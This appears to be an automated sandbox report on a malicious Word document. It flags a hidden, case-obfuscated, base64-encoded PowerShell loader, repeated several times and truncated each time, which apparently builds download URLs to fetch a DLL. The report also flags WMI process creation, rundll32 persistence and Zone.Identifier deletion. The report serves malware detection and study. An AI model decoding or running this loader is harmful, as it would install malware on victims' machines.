Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsA

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK			Jump to behavior

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK			Jump to behavior

Contains functionality to dynamically determine API calls

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_1000C620

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10008085 push ecx; ret		7_2_10008098
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10004ADA push ecx; ret		7_2_10004AED

Persistence and Installation Behavior:

Creates processes via WMI

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Drops PE files

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll

Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Qdobhqhwujf\uzjpmatbfa.knr

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Qdobhqhwujf\uzjpmatbfa.knr:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Mudnzlzz\tchxmhh.vmn:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Tqtjgf\ubkvl.qtt:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Qcfwakudils\xdnuofdvuw.mtf:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Dmlmufref\lnlrkslr.usd:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Vbxkcbxnxe\fkpvaejuz.leu:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Tiggqlmpvi\alhryajdx.pgt:Zone.Identifier read attributes | delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Ceqit\srhv.rai:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Pjpaiqaldg\belhamieb.mpw:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Amtmltzf\sjpbzbn.ngx:Zone.Identifier read attributes | delete

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
